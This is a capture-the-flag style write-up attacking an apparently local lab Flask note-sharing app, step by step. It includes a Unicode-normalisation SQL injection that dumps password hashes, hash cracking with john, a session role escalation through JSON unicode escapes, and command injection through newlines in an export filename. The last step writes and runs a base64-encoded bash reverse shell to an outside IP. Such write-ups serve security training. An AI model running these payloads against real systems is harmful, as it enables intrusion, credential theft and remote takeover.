Small writeup pointing out only the important parts

Difficulty: Easy/Medium
Type: WhiteBox
Source: app.py

Roles:

- User
- Editor
- Admin

To scale from user to editor we have to exploit a second order sqli by bypassing the NFKC normalization, reading the code we see:

```
@app.route('/notes/create', methods=['POST'])
def create_note():
    if 'user_id' not in session:
        return redirect(url_for('login'))

    title = request.form.get('title', '')
    content = request.form.get('content', '')
    tags = request.form.get('tags', '')
    shared = 1 if request.form.get('shared') else 0

    tags_filtered = filter_security_input(tags) if tags else ''

    if tags and not tags_filtered:
        db = get_db()
```

The filter_security_input function is eye-catching, that has this:

```
def filter_security_input(tags):
    if not tags:
        return tags

    regex = re.compile(
        r"^(?!.*['\";\-#=<>|&])"
        r"(?!.*(/\*|\*/))"
        r"(?!.*
(union|select|insert|update|delete|drop|create|alter|exec|execute|where|from|join
|order|group|having|limit|offset|into|values|set|table|database|column|index|view
|trigger|procedure|function|declare|cast|convert|char|concat|substring|ascii|hex|
unhex|sleep|benchmark|waitfor|delay|information_schema|sysobjects|syscolumns))"
        r".+$",
        re.IGNORECASE
    )

    if not regex.match(tags):
        return None

    normalized = unicodedata.normalize('NFKC', tags)

    return normalized
```

The regex may seem safe, although something that catches my attention is `normalized = unicodedata.normalize('NFKC', tags)`, more on that later.

In `@app.route('/shared/<note_id>')` we can see the following:

```
        if tags:
            stats_query = f"SELECT action, COUNT(*) as count FROM logs WHERE metadata LIKE '%{tags}%' GROUP BY action"
            try:
                results = db.execute(stats_query).fetchall()
                for row in results:
                    tag_stats.append({
                        'action': row['action'],
                        'count': row['count']
                    })
                view_count = sum([stat['count'] for stat in tag_stats])
            except Exception as sqli_error:
                view_count = 0
                tag_stats = [{'action': f'SQL Error: {str(sqli_error)}', 'count': 0}]

        return render_template_string(SHARED_NOTE_TEMPLATE,
                                     note=note,
                                     role=session['role'],
                                     view_count=view_count,
                                     tag_stats=tag_stats)
    except Exception as e:
```

No sanitization is applied

If we manage to bypass the filter_security_input regex we can exploit the second order sqli that happens when sharing a note.

Just to clarify the exploit:

1. Create a shared note by bypassing NFKC normalization
2. Observe the shared note

We will use https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html

Considering that the query takes my tag field:

```
SELECT action, COUNT(*) as count FROM logs WHERE metadata LIKE '%{tags}%' GROUP BY action
```

We can use the following query to obtain the username and password, by clicking on share our note and viewing it from http://localhost:5000/shared/2

```
x＇ ᵁNION ⓈELECT username｜｜＇：＇｜｜password, id ℱROM users －－
```

We obtain the users:

```
admin:f2a33aa44150c42384f9727a917a12c3
editor:7fb8ae11f87742231756ce9e3c10a7d9
```

We can save those hashes on creds.hash and crack them using john:

```
john -w:/usr/share/wordlists/rockyou.txt creds.hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovehacking     (editor)
1g 0:00:00:00 DONE (2026-01-22 22:20) 1.515g/s 21732Kp/s 21732Kc/s 32956KC/s
fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords
reliably
Session completed.
```

The password for editor is “ilovehacking”.

We will see a new functionality at http://localhost:5000/settings

I can update my profile, I will place this data and save:

```
Display name: test
Bio: test
Website: https://example.com
```

Now in Import/Export Settings we can export our configuration, in the downloaded file I see:

```
{
  "profile": {
    "bio": "test",
    "display_name": "test",
    "website": "https://example.com"
  }
}
```

There is a Prototype Pollution vulnerability in Python occurs in the /settings/import function when a user with editor or admin role imports a configuration JSON file.

```

        dangerous_patterns = ['__class__', '__globals__', '__builtins__',
'__init__',
                              '__dict__', 'role', 'user_id', 'username']

        for pattern in dangerous_patterns:
            if pattern in content.lower():
                raise ValueError(f'Potentially dangerous configuration detected:
{pattern}')

        config_data = json.loads(content)

        if not isinstance(config_data, dict):
            raise ValueError('Invalid JSON structure')

        if 'profile' in config_data and isinstance(config_data['profile'], dict):
            if 'profile' not in session:
                session['profile'] = {}
            session['profile'].update(config_data['profile'])

        for key, value in config_data.items():
            if key == 'profile':
                continue

            if key in ['user_id', 'username', '_sa_instance_state']:
                continue

            if isinstance(value, dict):
                if key in session and isinstance(session[key], dict):
                    session[key].update(value)
                else:
                    session[key] = value
            elif isinstance(value, (str, int, float, bool, list, type(None))):
                session[key] = value

        session.modified = True
```

We could try to update our role with the following payload:

```
{
  "profile": {
    "bio": "test",
    "display_name": "test",
    "website": "https://example.com"
  },
  "role": "admin"
}
```

But this fails because of the blacklist:

```
    try:
        content = file.read().decode('utf-8')
        config_data = json.loads(content)

        if not isinstance(config_data, dict):
            raise ValueError('Invalid JSON structure')

        config_str = json.dumps(config_data)

        dangerous_patterns = ['__class__', '__globals__', '__builtins__',
'__init__',
                             '__dict__', 'role', 'user_id', 'username']

        for pattern in dangerous_patterns:
            if pattern in config_str.lower():
                raise ValueError(f'Potentially dangerous configuration detected:
{pattern}')
```

```
        if 'profile' in config_data and isinstance(config_data['profile'], dict):
            if 'profile' not in session:
                session['profile'] = {}
            session['profile'].update(config_data['profile'])
```

We can use unicode https://symbl.cc/en/unicode-table/#basic-latin

My payload:

```
{
  "profile": {
    "bio": "",
    "display_name": "",
    "website": ""
  },
  "\u0072\u006f\u006c\u0065": "admin"
}
```

\u0072\u006f\u006c\u0065 -> role

You need view the table https://symbl.cc/en/unicode-table/#basic-latin

It's a possible for json.loads:

```
        content = file.read().decode('utf-8')

        dangerous_patterns = ['__class__', '__globals__', '__builtins__',
'__init__',
                              '__dict__', 'role', 'user_id', 'username']

        for pattern in dangerous_patterns:
            if pattern in content.lower():
                raise ValueError(f'Potentially dangerous configuration detected:
{pattern}')

        config_data = json.loads(content)

        if not isinstance(config_data, dict):
            raise ValueError('Invalid JSON structure')
```

Once we upload that we get the admin role.

Being logged in as admin we can now access http://localhost:5000/admin.

In Export Logs we see that it asks for the log name and format.

This part of the code is interesting:

```
@app.route('/admin/export', methods=['POST'])
def export_logs():
    if 'user_id' not in session or session['role'] != 'admin':
        return redirect(url_for('login'))
    filename = request.form.get('filename', 'audit.log')
    format_type = request.form.get('format', 'log')

    allowed_formats = ['log', 'csv', 'json']
    if format_type not in allowed_formats:
        format_type = 'log'

    blacklist = [';', '|', '&', '`', '$', ' ', ',', '{', '}']
    for char in blacklist:
        if char in filename or char in format_type:
            return render_template_string(ADMIN_TEMPLATE,
                                        role=session['role'],
                                        logs=get_db().execute('''SELECT logs.id,
logs.action, logs.metadata, logs.timestamp, users.username
                                                                FROM logs JOIN
users ON logs.user_id = users.id
                                                                ORDER BY logs.id
DESC LIMIT 100''').fetchall(),
                                        error='Invalid characters detected in
filename')

    safe_filename = filename.replace('..', '')

    export_dir = '/var/log/noteshare/exports'
    os.makedirs(export_dir, exist_ok=True)

    filepath = f"{export_dir}/{safe_filename}"

    db = get_db()
    logs = db.execute('''SELECT logs.id, logs.action, logs.metadata,
logs.timestamp, users.username
                        FROM logs
                        JOIN users ON logs.user_id = users.id
                        ORDER BY logs.id DESC''').fetchall()

    try:
        content = ""
        if format_type == 'log':
            for log in logs:
                metadata_str = f" | {log['metadata']}" if log['metadata'] else ""
                content += f"[{log['timestamp']}] {log['username']}:
{log['action']}{metadata_str}\n"
        elif format_type == 'csv':
            content = "ID,Username,Action,Metadata,Timestamp\n"
            for log in logs:
                metadata = log['metadata'] if log['metadata'] else ''
                content += f"{log['id']},{log['username']},{log['action']},
{metadata},{log['timestamp']}\n"
        elif format_type == 'json':
            log_list = [dict(log) for log in logs]
            content = json.dumps(log_list, indent=2)

        import tempfile
        temp = tempfile.NamedTemporaryFile(mode='w', delete=False)
        temp.write(content)
        temp.close()
        os.system(f"cat {temp.name} > {filepath} && chmod 644 {filepath}")
        os.unlink(temp.name)

        return render_template_string(ADMIN_TEMPLATE,
                                    role=session['role'],
                                    logs=db.execute('''SELECT logs.id,
logs.action, logs.metadata, logs.timestamp, users.username
                                                      FROM logs JOIN users ON
logs.user_id = users.id
                                                      ORDER BY logs.id DESC LIMIT
100''').fetchall(),
                                    success=f'Logs exported successfully to
{filepath}')
    except Exception as e:
        return render_template_string(ADMIN_TEMPLATE,
                                    role=session['role'],
                                    logs=db.execute('''SELECT logs.id,
logs.action, logs.metadata, logs.timestamp, users.username
                                                      FROM logs JOIN users ON
logs.user_id = users.id
                                                      ORDER BY logs.id DESC LIMIT
100''').fetchall(),
                                    error=f'Export failed: {str(e)}')
```

There is a blacklist here:

```
    blacklist = [';', '|', '&', '`', '$', ' ', ',', '{', '}']
```

But \r and \n are not blacklisted.

We can send us a reverse shell as follows, we encode our reverse shell to base64

%0A -> \n
%09 -> \t

```
cat shell.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.1.79/8443 0>&1"


cat shell.sh | base64 -w 0
IyEvYmluL2Jhc2gKYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNzkvODQ0MyAwP
iYxIgo=
```

After that we make url encode to base64:

```
test.log%0Aecho%09IyEvYmluL2Jhc2gKYmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuM
TY4LjEuNzkvODQ0MyAwPiYxIgo%3d%09>%09/dev/shm/pwned.sh%0A
```

We decode to base64 and save the reverse shell with the decoded base64 applied on /dev/shm/pwned_final.sh

```
filename=test.log%0Abase64%09-
d%09/dev/shm/pwned.sh%09>%09/dev/shm/pwned_final.sh%0A&format=log
```

We listen and send the reverse shell:

```
rlwrap nc -lnvp 8443
```

```
filename=test.log%0Abash%09/dev/shm/pwned_final.sh%0A&format=log
```